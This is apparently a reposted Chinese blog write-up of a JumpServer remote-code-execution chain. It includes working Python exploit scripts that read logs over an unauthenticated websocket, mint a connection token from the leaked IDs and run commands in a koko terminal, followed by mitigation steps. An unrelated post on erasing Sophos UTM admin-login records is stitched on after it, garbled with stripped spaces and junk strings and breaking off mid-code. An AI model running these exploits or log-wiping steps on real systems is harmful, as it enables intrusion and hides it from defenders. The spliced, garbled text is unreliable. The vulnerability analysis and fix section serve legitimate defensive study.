--> 进入TaskLogWebsocket类的wait_util_log_path_exist函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入app/ops/utls.py中的get_task_log_path函数
2zeqtyhuook14134.png
taskid是从我们发送的text_data中解析出来的，所以是可控的，通过下面的方式我们可以读取日志文件/opt/jumpserver/logs/jumpserver.log。
向ws://10.10.10.10:8080/ws/ops/tasks/log/发送
{"task":"/opt/jumpserver/logs/jumpserver"}
以上就是文件读取的原理，读取日志文件有如下限制：
  • 只能使用绝对路径读取文件
  • 只能读取以 log 结尾的文件
下面分析如何实现远程代码执行。
通过读取/opt/jumpserver/logs/gunicorn.log，运气好的话，可以读取到用户uid，系统用户uid，和资产id：
  • user id
  • asset id
  • system user id
上述三个信息是需要存在用户正在登录web terminal才能从日志中拿到的，拿到之后。通过/api/v1/authentication/connection-token/ 接口，可以进去/apps/authentication/api/UserConnectionTokenApi
0zjjmnggfdl14135.png
1nfvpjttktj14136.png
通过user_id asset_id system_user_id可以获取到只有20s有效期的token。这个token可以用来创建一个koko组件的tty：
https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342

--> https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#L167
具体代码如下：
lfuqtpanmyx14139.png
n2xer0fttvz14142.png
总结完整的rce利用步骤为：
  1. 未授权的情况下能够建立websocket连接
  2. task可控，可以通过websocket对日志文件进行读取
  3. 拿到日志文件中的系统用户，用户，资产字段
  4. 通过3中的字段，可以拿到20s的token
  5. 通过该token能够进入koko的tty，执行命令
2 漏洞复现
2.1 环境搭建
  • 本地环境：xubuntu20.04
  • jumpserver版本：2.6.1版本
安装步骤：
# 下载
git clone https://github.com/jumpserver/installer.git
cd installer 

# 国内docker源加速
export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn

# 安装dev版本，再切换到2.6.1（应该可以直接安装2.6.1，一开始错装成了默认的dev版本，不过没关系）
sudo su
./jmsctl.sh install
./jmsctl.sh upgrade v2.6.1

# 启动
./jmsctl.sh restart
完整日志
# yanq @ yanq-desk in ~/gitrepo [22:18:53] C:127
$ git clone https://github.com/jumpserver/installer.git
正克隆到 'installer'...
remote: Enumerating objects: 467, done.
remote: Total 467 (delta 0), reused 0 (delta 0), pack-reused 467
接收对象中: 100% (467/467), 95.24 KiB | 182.00 KiB/s, 完成.
处理 delta 中: 100% (305/305), 完成.

# yanq @ yanq-desk in ~/gitrepo [22:20:27] 
$ cd installer   

# yanq @ yanq-desk in ~/gitrepo/installer on git:master o [22:20:30] 
$ ls
compose  config-example.txt  config_init  jmsctl.sh  README.md  scripts  static.env  utils

# yanq @ yanq-desk in ~/gitrepo [22:18:59] 
$ export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn

# yanq @ yanq in ~/github/installer on git:master o [22:03:43] C:130
$ sudo su                   
root@yanq:/home/yanq/github/installer# ./jmsctl.sh install


       ██╗██╗   ██╗███╗   ███╗██████╗ ███████╗███████╗██████╗ ██╗   ██╗███████╗██████╗
       ██║██║   ██║████╗ ████║██╔══██╗██╔════╝██╔════╝██╔══██╗██║   ██║██╔════╝██╔══██╗
       ██║██║   ██║██╔████╔██║██████╔╝███████╗█████╗  ██████╔╝██║   ██║█████╗  ██████╔╝
  ██   ██║██║   ██║██║╚██╔╝██║██╔═══╝ ╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██╔══╝  ██╔══██╗
  ╚█████╔╝╚██████╔╝██║ ╚═╝ ██║██║     ███████║███████╗██║  ██║ ╚████╔╝ ███████╗██║  ██║
  ╚════╝  ╚═════╝ ╚═╝     ╚═╝╚═╝     ╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

                                                                   Version:  dev  



>>> 一、配置JumpServer
1. 检查配置文件
各组件使用环境变量式配置文件，而不是 yaml 格式, 配置名称与之前保持一致
配置文件位置: /opt/jumpserver/config/config.txt
完成

2. 配置 Nginx 证书
证书位置在: /opt/jumpserver/config/nginx/cert
完成

3. 备份配置文件
备份至 /opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52
完成

4. 配置网络
需要支持 IPv6 吗? (y/n)  (默认为n): n
完成

5. 自动生成加密密钥
完成

6. 配置持久化目录 
修改日志录像等持久化的目录，可以找个最大的磁盘，并创建目录，如 /opt/jumpserver
注意: 安装完后不能再更改, 否则数据库可能丢失

文件系统        容量  已用  可用 已用% 挂载点
udev            7.3G     0  7.3G    0% /dev
/dev/nvme0n1p2  468G  200G  245G   45% /
/dev/loop1       56M   56M     0  100% /snap/core18/1944
/dev/loop2       65M   65M     0  100% /snap/gtk-common-themes/1513
/dev/loop3      218M  218M     0  100% /snap/gnome-3-34-1804/60
/dev/loop0       56M   56M     0  100% /snap/core18/1932
/dev/loop5       32M   32M     0  100% /snap/snapd/10492
/dev/loop6       65M   65M     0  100% /snap/gtk-common-themes/1514
/dev/loop4       52M   52M     0  100% /snap/snap-store/498
/dev/loop7       52M   52M     0  100% /snap/snap-store/518
/dev/loop8      219M  219M     0  100% /snap/gnome-3-34-1804/66
/dev/loop9       32M   32M     0  100% /snap/snapd/10707
/dev/nvme0n1p1  511M  7.8M  504M    2% /boot/efi

设置持久化卷存储目录 (默认为/opt/jumpserver): 
完成

7. 配置MySQL
是否使用外部mysql (y/n)  (默认为n): n
完成

8. 配置Redis
是否使用外部redis  (y/n)  (默认为n): n
完成

>>> 二、安装配置Docker
1. 安装Docker
开始下载 Docker 程序 ...
--2021-01-17 22:04:12--  https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/docker-18.06.2-ce.tgz
正在解析主机 mirrors.aliyun.com (mirrors.aliyun.com)... 180.97.148.110, 101.89.125.248, 58.216.16.38, ...
正在连接 mirrors.aliyun.com (mirrors.aliyun.com)|180.97.148.110|:443... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度： 43834194 (42M) [application/x-tar]
正在保存至: “/tmp/docker.tar.gz”

/tmp/docker.tar.gz                                          100%[===========================================================================================================================================>]  41.80M  13.8MB/s    用时 3.0s  

2021-01-17 22:04:16 (13.8 MB/s) - 已保存 “/tmp/docker.tar.gz” [43834194/43834194])

开始下载 Docker compose 程序 ...
--2021-01-17 22:04:17--  https://get.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 get.daocloud.io (get.daocloud.io)... 106.75.86.15
正在连接 get.daocloud.io (get.daocloud.io)|106.75.86.15|:443... 已连接。
已发出 HTTP 请求，正在等待回应... 302 FOUND
位置：https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 [跟随至新的 URL]
--2021-01-17 22:04:28--  https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)... 240e:ff:a024:200:3::3fe, 240e:964:1003:302:3::3fe, 61.160.204.242, ...
正在连接 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)|240e:ff:a024:200:3::3fe|:443... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度： 12218968 (12M) [application/x-executable]
正在保存至: “/tmp/docker-compose”

/tmp/docker-compose                                         100%[===========================================================================================================================================>]  11.65M  8.43MB/s    用时 1.4s  

2021-01-17 22:04:35 (8.43 MB/s) - 已保存 “/tmp/docker-compose” [12218968/12218968])

已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n)  (默认为n): n
完成

2. 配置Docker
修改Docker镜像容器的默认存储目录，可以找个最大的磁盘, 并创建目录，如 /opt/docker
文件系统        容量  已用  可用 已用% 挂载点
udev            7.3G     0  7.3G    0% /dev
/dev/nvme0n1p2  468G  200G  245G   45% /
/dev/loop1       56M   56M     0  100% /snap/core18/1944
/dev/loop2       65M   65M     0  100% /snap/gtk-common-themes/1513
/dev/loop3      218M  218M     0  100% /snap/gnome-3-34-1804/60
/dev/loop0       56M   56M     0  100% /snap/core18/1932
/dev/loop5       32M   32M     0  100% /snap/snapd/10492
/dev/loop6       65M   65M     0  100% /snap/gtk-common-themes/1514
/dev/loop4       52M   52M     0  100% /snap/snap-store/498
/dev/loop7       52M   52M     0  100% /snap/snap-store/518
/dev/loop8      219M  219M     0  100% /snap/gnome-3-34-1804/66
/dev/loop9       32M   32M     0  100% /snap/snapd/10707
/dev/nvme0n1p1  511M  7.8M  504M    2% /boot/efi

Docker存储目录 (默认为/opt/docker): 
完成

3. 启动Docker
Docker 版本发生改变 或 docker配置文件发生变化，是否要重启 (y/n)  (默认为y): y
完成

>>> 三、加载镜像
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
05e7bc50f07f: Pull complete 
14c9d57a1c7f: Pull complete 
ccd033d7ec06: Pull complete 
6ff79b059f99: Pull complete 
d91237314b77: Pull complete 
c47d41ba6aa8: Pull complete 
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Downloaded newer image for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine

[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
6ec7b7d162b2: Pull complete 
fedd960d3481: Pull complete 
7ab947313861: Pull complete 
64f92f19e638: Pull complete 
3e80b17bff96: Pull complete 
014e976799f9: Pull complete 
59ae84fee1b3: Pull complete 
7d1da2a18e2e: Pull complete 
301a28b700b9: Pull complete 
979b389fc71f: Pull complete 
403f729b1bad: Pull complete 
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Downloaded newer image for jumpserver/mysql:5
docker.io/jumpserver/mysql:5

[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
c87736221ed0: Pull complete 
6ff0ab02fe54: Pull complete 
e5b318df7728: Pull complete 
b7a5a4fe8726: Pull complete 
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Downloaded newer image for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2

[jumpserver/luna:dev]
dev: Pulling from jumpserver/luna
801bfaa63ef2: Pull complete 
b1242e25d284: Pull complete 
7453d3e6b909: Pull complete 
07ce7418c4f8: Pull complete 
e295e0624aa3: Pull complete 
d373a40639dd: Pull complete 
565ad7a883c2: Pull complete 
Digest: sha256:68be3762e065f9eae1bfef462dcd1394ca7a256d22e807d129cc9888c4159874
Status: Downloaded newer image for jumpserver/luna:dev
docker.io/jumpserver/luna:dev

[jumpserver/core:dev]
dev: Pulling from jumpserver/core
6ec7b7d162b2: Already exists 
80ff6536d04b: Pull complete 
2d04da85e485: Pull complete 
998aa32a5c8a: Pull complete 
7733ef26f344: Pull complete 
a3fc2d00adff: Pull complete 
0fceca9bd0c9: Pull complete 
6fd88063e2c9: Pull complete 
6b761cc0db94: Pull complete 
25d46cb4551e: Pull complete 
6da27e4adc2b: Pull complete 
e521a634bfca: Pull complete 
90d95c158108: Pull complete 
Digest: sha256:4733073dfbbf6ec5cf6738738e3305ecaf585bff343a3e4c9990398fd7efbb5c
Status: Downloaded newer image for jumpserver/core:dev
docker.io/jumpserver/core:dev

[jumpserver/koko:dev]
dev: Pulling from jumpserver/koko
6d28e14ab8c8: Pulling fs layer 
1473f8a0a4e1: Pulling fs layer 
683341f9f103: Pull complete 
631f019c17de: Pull complete 
f3a995ef2b4b: Pull complete 
c091dc645c6f: Pull complete 
4e858775bdf0: Pull complete 
fa772130cab7: Pull complete 
a0f79afbde1c: Pull complete 
fdaf81979833: Pull complete 
8d4986e114f0: Pull complete 
eeb197dd15a0: Pull complete 
271cd9c942c6: Pull complete 
fc8bb9405f48: Pull complete 
06a07acf5be2: Pull complete 
Digest: sha256:7e8327a84b8d593c7b8c48dec8fa6ee8bc31e43d6e2344ae0e82897beefc76f1
Status: Downloaded newer image for jumpserver/koko:dev
docker.io/jumpserver/koko:dev

[jumpserver/guacamole:dev]
dev: Pulling from jumpserver/guacamole
6c33745f49b4: Pulling fs layer 
ef072fc32a84: Pulling fs layer 
c0afb8e68e0b: Pulling fs layer 
d599c07d28e6: Pulling fs layer 
e8a829023b97: Waiting 
2709df21cc5c: Waiting 
3bfb431a8cf5: Waiting 
bb9822eef866: Waiting 
5842bda2007b: Pulling fs layer 
453a23f25fcb: Waiting 
c856ffeae983: Waiting 
c51581693e31: Pull complete 
0809345a90d0: Pull complete 
0ba7229a2102: Pull complete 
bf692785c490: Pull complete 
9d6086f6248b: Pull complete 
86c187652ab5: Pull complete 
07f50f434b4b: Pull complete 
9173a0544d33: Pull complete 
78884a472184: Pull complete 
940cbfe07a44: Pull complete 
f322e824f1f5: Pull complete 
02228eb4be13: Pull complete 
dfe141bc6b7b: Pull complete 
Digest: sha256:fc0cd386edca711b45d84f6c192269d176ee165196ced8654ae18ac21eba0dc3
Status: Downloaded newer image for jumpserver/guacamole:dev
docker.io/jumpserver/guacamole:dev

[jumpserver/lina:dev]
dev: Pulling from jumpserver/lina
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
b1e2e4ef9246: Pull complete 
cf63647ff370: Pull complete 
Digest: sha256:5572209db626212f06e4744ae297b5520f59671841c8e3713ce65bbec3ee5038
Status: Downloaded newer image for jumpserver/lina:dev
docker.io/jumpserver/lina:dev


>>> 四、安装完成了
1. 可以使用如下命令启动, 然后访问
./jmsctl.sh start

2. 其它一些管理命令
./jmsctl.sh stop
./jmsctl.sh restart
./jmsctl.sh backup
./jmsctl.sh upgrade
更多还有一些命令，你可以 ./jmsctl.sh --help来了解

3. 访问 Web 后台页面
http://192.168.1.7:8080
https://192.168.1.7:8443

4. ssh/sftp 访问
ssh admin@192.168.1.7 -p2222
sftp -P2222 admin@192.168.1.7

5. 更多信息
我们的文档: https://docs.jumpserver.org/
我们的官网: https://www.jumpserver.org/


root@yanq:/home/yanq/github/installer# ./jmsctl.sh upgrade v2.6.1
你确定要升级到 v2.6.1 版本吗? (y/n)  (默认为n): y

1. 检查配置变更
完成

2. 检查程序文件变更
已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n)  (默认为n): 
完成

3. 升级镜像文件
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Image is up to date for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine

[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Image is up to date for jumpserver/mysql:5
docker.io/jumpserver/mysql:5

[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Image is up to date for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2

[jumpserver/luna:v2.6.1]
v2.6.1: Pulling from jumpserver/luna
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
9aa19406fcc2: Pull complete 
b88c1894aa70: Pull complete 
Digest: sha256:6889bc5825c8b608d3d086fa6713da5098665d9caaa6de0d2de2e30f27246fa4
Status: Downloaded newer image for jumpserver/luna:v2.6.1
docker.io/jumpserver/luna:v2.6.1

[jumpserver/core:v2.6.1]
v2.6.1: Pulling from jumpserver/core
852e50cd189d: Pull complete 
334ed303e4ad: Pull complete 
a687a65725ea: Pull complete 
fe607cb30fbe: Pull complete 
af3dd7a5d357: Pull complete 
5ed087772967: Pull complete 
de88310b192c: Pull complete 
3f3c40cb5584: Pull complete 
a616053790d8: Pull complete 
f78e4ffd4b11: Pull complete 
681df5236765: Pull complete 
6feeeb96a348: Pull complete 
8b170624587e: Pull complete 
Digest: sha256:1332e03847e45f1995845e1b74f1f3deb1f108da72ac5b8af087bc3775690e7b
Status: Downloaded newer image for jumpserver/core:v2.6.1
docker.io/jumpserver/core:v2.6.1

[jumpserver/koko:v2.6.1]
v2.6.1: Pulling from jumpserver/koko
6d28e14ab8c8: Already exists 
c4b1524d2f75: Pulling fs layer 
8522e19e2998: Pull complete 
106d5adca780: Pull complete 
e649208988b3: Pull complete 
fd02488ce54c: Pull complete 
8566396c9588: Pull complete 
5c3ae6b36882: Pull complete 
cb4e3aeda111: Pull complete 
3bc46e9d6be9: Pull complete 
919620ef3747: Pull complete 
3998a9375e49: Pull complete 
5869987766aa: Pull complete 
9fd39a172e25: Pull complete 
f60bfb937cc4: Pull complete 
Digest: sha256:242e96c7a992bf44ccbda321fb69c8ea4d39d5ff423cf8f1505e9856b1ac2496
Status: Downloaded newer image for jumpserver/koko:v2.6.1
docker.io/jumpserver/koko:v2.6.1

[jumpserver/guacamole:v2.6.1]
v2.6.1: Pulling from jumpserver/guacamole
c5e155d5a1d1: Pulling fs layer 
221d80d00ae9: Pulling fs layer 
4250b3117dca: Pulling fs layer 
d1370422ab93: Pulling fs layer 
deb6b03222ca: Pulling fs layer 
9cdea8d70cc3: Pulling fs layer 
968505be14db: Pulling fs layer 
04b5c270ac81: Pulling fs layer 
301d76fcab1f: Pulling fs layer 
f4d49608235a: Pulling fs layer 
f4c6404fd6f8: Pulling fs layer 
73ac8e900d64: Pulling fs layer 
eec0a1010dfa: Pull complete 
199219e1bcf7: Pull complete 
54d3328751a0: Pull complete 
68412973433c: Pull complete 
b45d84968434: Pull complete 
9569df8016cc: Pull complete 
642448bde40a: Pull complete 
e788dd92de90: Pull complete 
223eaf2bd9f6: Pull complete 
b68966fc02ad: Pull complete 
cf0eb6b2e415: Pull complete 
0b78188a975b: Pull complete 
704b69b91dcb: Pull complete 
Digest: sha256:cb80c430c14ad220edd6f20855da5f7ea256d75f5f87bebe29d7e27275c4beeb
Status: Downloaded newer image for jumpserver/guacamole:v2.6.1
docker.io/jumpserver/guacamole:v2.6.1

[jumpserver/lina:v2.6.1]
v2.6.1: Pulling from jumpserver/lina
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
2ec572beb6c1: Pull complete 
c7d22dce32ca: Pull complete 
Digest: sha256:8d63a0716558b4384f0eab2220bcfefe5ba2e040cbd33634576ba444c215212a
Status: Downloaded newer image for jumpserver/lina:v2.6.1
docker.io/jumpserver/lina:v2.6.1

完成
4. 备份数据库
正在备份...
mysqldump: [Warning] Using a password on the command line interface can be insecure.
备份成功! 备份文件已存放至: /opt/jumpserver/db_backup/jumpserver-2021-01-17_22:28:00.sql.gz 

5. 进行数据库变更
表结构变更可能需要一段时间，请耐心等待 (请确保数据库在运行)
2021-01-17 22:28:03 Collect static files
2021-01-17 22:28:03 Collect static files done
2021-01-17 22:28:03 Check database structure change ...
2021-01-17 22:28:03 Migrate model change to database ...

472 static files copied to '/opt/jumpserver/data/static'.
Operations to perform:
  Apply all migrations: admin, applications, assets, audits, auth, authentication, captcha, common, contenttypes, django_cas_ng, django_celery_beat, jms_oidc_rp, ops, orgs, perms, sessions, settings, terminal, tickets, users
Running migrations:
  No migrations to apply.
完成

6. 升级成功, 可以重启程序了
./jmsctl.sh restart

root@yanq:/home/yanq/github/installer# ./jmsctl.sh restart
Stopping jms_core ... done
Stopping jms_koko ... done
Stopping jms_guacamole ... done
Stopping jms_lina ... done
Stopping jms_luna ... done
Stopping jms_nginx ... done
Stopping jms_celery ... done
Removing jms_core ... done
Removing jms_koko ... done
Removing jms_guacamole ... done
Removing jms_lina ... done
Removing jms_luna ... done
Removing jms_nginx ... done
Removing jms_celery ... done


WARNING: The HOSTNAME variable is not set. Defaulting to a blank string.
jms_mysql is up-to-date
jms_redis is up-to-date
Creating jms_core ... done
Creating jms_lina      ... done
Creating jms_guacamole ... done
Creating jms_koko      ... done
Creating jms_celery    ... done
Creating jms_luna      ... done
Creating jms_nginx     ... done
rhmvyucszha14143.png
2.2 读取日志
可以直接访问日志的websocket接口，在线测试websocket工具：http://coolaf.com/tool/chattest 或者使用扩展：https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn
下面用代码测试：
import asyncio
import re

import websockets
import json

url = "/ws/ops/tasks/log/"

async def main_logic(t):
    print("#######start ws")
    async with websockets.connect(t) as client:
        await client.send(json.dumps({"task": "//opt/jumpserver/logs/jumpserver"}))
        while True:
            ret = json.loads(await client.recv())
            print(ret["message"], end="")

if __name__ == "__main__":
    host = "http://192.168.1.7:8080"
    target = host.replace("https://", "wss://").replace("http://", "ws://") + url
    print("target: %s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(target))

ei0hoza2mb514145.png
这里读到的就是jumpserver上/opt/jumpserver/core/logs/jumpserver目录下的日志。
搭建的漏洞环境中有如下日志可以读：
root@yanq:/opt/jumpserver/core/logs# ls -la
总用量 248
drwxr-xr-x 3 root root   4096 1月  17 23:59 .
drwxr-xr-x 4 root root   4096 1月  17 22:17 ..
drwxr-xr-x 2 root root   4096 1月  17 23:59 2021-01-17
-rw-r--r-- 1 root root      0 1月  17 22:17 ansible.log
-rw-r--r-- 1 root root   2978 1月  18 01:51 beat.log
-rw-r--r-- 1 root root   3122 1月  18 01:51 celery_ansible.log
-rw-r--r-- 1 root root    978 1月  18 01:51 celery_check_asset_perm_expired.log
-rw-r--r-- 1 root root   4332 1月  18 01:51 celery_default.log
-rw-r--r-- 1 root root      0 1月  17 23:59 celery_heavy_tasks.log
-rw-r--r-- 1 root root   4604 1月  18 01:51 celery_node_tree.log
-rw-r--r-- 1 root root   1919 1月  18 01:50 daphne.log
-rw-r--r-- 1 root root   1359 1月  17 22:18 drf_exception.log
-rw-r--r-- 1 root root      0 1月  17 23:59 flower.log
-rw-r--r-- 1 root root 191941 1月  18 01:52 gunicorn.log
-rw-r--r-- 1 root root   7470 1月  18 01:51 jumpserver.log
-rw-r--r-- 1 root root      0 1月  17 22:17 unexpected_exception.log
比如读取gunicorn.log:
krfrnapy4ue14146.png
除了读日志文件，还可以从/opt/jumpserver/logs/jumpserver读取到taskid,然后查看task的详细信息（当然taskid很可能已经失效了）
向ws://192.168.1.73:8080/ws/ops/tasks/log/发送
{"task":"33xxxxx"}
2.3 远程命令执行
需要在jumpserver中添加一台主机，并且用户登录web terminal。
v15ejikzinm14147.png
登录过web terminal之后，在gunicorn.log可以拿到这三个信息。(从结果中搜索/asset-permissions/user/validate)
g4fpjhkjefa14148.png
如果读到了这三个字段，可以利用/api/v1/users/connection-token/拿到一个token，将token发给koko组件可以拿到一个ssh凭证，就可以登陆用户机器了。
通过以下脚本进行远程命令执行利用
import asyncio
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    print(f"{recv_text}")

# 客户端主逻辑
async def main_logic(cmd):
    print("#######start ws")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("get ws id:"+id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket,inittext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print("###############")
        print("exec cmd: ls")
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print('#######finish')


if __name__ == '__main__':
    host = "http://192.168.1.7:8080"
    cmd="whoami"
    if host[-1]=='/':
        host=host[:-1]
    print(host)
    data = {"user": "83b24e76-028b-4f49-9329-63e5e3ef10a4", "asset": "96b49ae4-1efd-483a-99bc-4b9708fc7471",
            "system_user": "a0899187-0c5f-4d57-8ab4-9a8628b74864"}
    print("##################")
    print("get token url:%s" % (host + url,))
    print("##################")
    res = requests.post(host + url, json=data)
    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
    print("target ws:%s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(cmd))
lpqn1bwqez114149.png
3 修复方案
以下根据官方文档：
  1. 将JumpServer升级至安全版本；
  2. 临时修复方案:
修改 Nginx 配置文件屏蔽漏洞接口
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/
Nginx 配置文件位置
# 社区老版本
/etc/nginx/conf.d/jumpserver.conf

# 企业老版本
jumpserver-release/nginx/http_server.conf
 
# 新版本在 
jumpserver-release/compose/config_static/http_server.conf
修改 Nginx 配置文件实例
# 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
   return 403;
}
 
location /api/v1/users/connection-token/ {
   return 403;
}
# 新增以上这些
 
location /api/ {
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://core:8080;
  }

...
修改完成后重启 nginx
docker方式: 
docker restart jms_nginx

nginx方式:
systemctl restart nginx
修复验证
$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh 

# 使用方法 bash jms_bug_check.sh HOST 
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复
参考
  • https://www.o2oxy.cn/2921.html
  • https://github.com/Skactor/jumpserver_rce
  • https://s.tencent.com/research/bsafe/1228.html
  • https://mp.weixin.qq.com/s/ATy4mh53W5NJfRBdkAhyyQ


原文连接： https://saucer-man.com/information_security/520.html#cl-2

		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
0x00 前言對於Sophos UTM設備，在web管理頁面中，Last WebAdmin Sessions會記錄用戶每次登錄的信息，本文僅在技術研究的角度介紹清除指定Last WebAdmin Sessions記錄的方法，記錄研究細節。



0x01 簡介本文將要介紹以下內容：



马云惹不起马云 研究過程



马云惹不起马云實現方法



0x02 Last WebAdmin Sessions簡介在web管理頁面中，選中Management後會顯示Last WebAdmin Sessions記錄，如下圖：



 image.png



記錄包括以下內容：



马云惹不起马云 User：登錄用戶名



马云惹不起马云Start：登錄時間



马云惹不起马云State：退出時間



马云惹不起马云IP address：登錄IP



马云惹不起马云Changelog：修改的配置



對於Changelog，點擊Show，會顯示修改的配置，如下圖



 image.png



默認配置下，Last WebAdmin Sessions會顯示最近的20條記錄。



0x03 研究過程1.嘗試修改/var/confd/var/storage/cfg在上篇文章《Sophos UTM利用分析——导出配置文件》 提到，/var/confd/var/storage/cfg存儲Sophos UTM的配置信息，所以猜測通過修改/var/confd/var/storage/cfg文件可以實現Last WebAdmin Sessions記錄的清除。



/var/confd/var/storage/cfg的文件格式為Perl Storable files，這裡使用StorableEdit來編輯文件。



向Sophos UTM上傳文件storableedit-1.5.pl，執行命令：



./storableedit-1.5.plcfg結果如下圖：



 image.png



解析出的文件結構同使用SophosUTM_ConfigParser.py導出的結果一致。



查看配置信息，命令如下：



cdlastchange



cdREF_AaaGroGroup1



ls將所有屬性置空，命令如下：



$cur-{'user'}='',$cur-{'time'}='',$cur-{'sid'}='',$cur-{'srcip'}=''保存文件，命令如下：



x然而，修改cfg文件後不會影響Last WebAdmin Sessions記錄。



2.反編譯web管理頁面的源碼web管理頁面的程序文件路徑：/var/sec/chroot-httpd/var/webadmin/webadmin.plx



使用SophosUTM_plxDecrypter.py反編譯/var/sec/chroot-httpd/var/webadmin/webadmin.plx



定位到關鍵文件：export-webadmin.plx\wfe\asg\modules\asg_dashboard.pm



定位到關鍵內容：my $userlog=$sys-userlog_read(max=20, facility='webadmin,acc-agent,acc_sso') || [];



如下圖：



 image.png



從輸出結果中定位到關鍵函數：userlog_read



3.定位關鍵函數userlog_readgoogle搜索$sys-userlog_read，找到一份參考文檔：https://community.sophos.com/utm-firewall/astaroorg/f/asg-v8-000-beta-closed/69661/7-920-bug-open-failed-smtp-relay-login-is-showing-up-on-last-webadmin-logins



文檔中有關於userlog_read的一些描述，如下圖：



 image.png



從描述得出，userlog_read同cc命令存在關聯。



4.反編譯cc命令對應的進程cc命令對應的文件為/var/confd/confd.plx，使用SophosUTM_plxDecrypter.py反編譯/var/confd/confd.plx



5.獲得函數userlog_read細節搜索userlog_read相關內容，命令如下：



grep-iR'userlog_read'/home/kali/1/decrypt/Export-confd.plx輸出結果如下圖：



 image.png



從輸出結果中定位關鍵文件：Export-confd.plx/Info/webadmin/log.pm



定位到函數定義：



subuserlog_read{



my($self,%args)=@_;



$args{max}=$args{sid}?1:$args{max}||20;



$args{facility}={map{($_=1)}split/,/,$args{facility}}



if$args{facility};



my$sessions;



$sessions=_consult_db($self,\%args)



unless$self-get(qw(reportinguserlog_from_logs));



$sessions=_iterate_files($self,\%args)



unlessref$sessionseq'ARRAY';



foreachmy$sd(@$sessions){



$sd-{state}=(-e'$config:session_dir/$sd-{sid}'?'active':'ended')



if!$sd-{state}||$sd-{state}eq'active';



}



return$sessions;



}6.函數userlog_read代碼分析代碼涉及兩個操作，分別為讀取數據庫和讀取文件，詳情如下：



(1)數據庫操作



關鍵代碼：



sub_consult_db{



my($self,$args)=@_;



my$facility_selection='';



$facility_selection='WHEREfacilityin('.



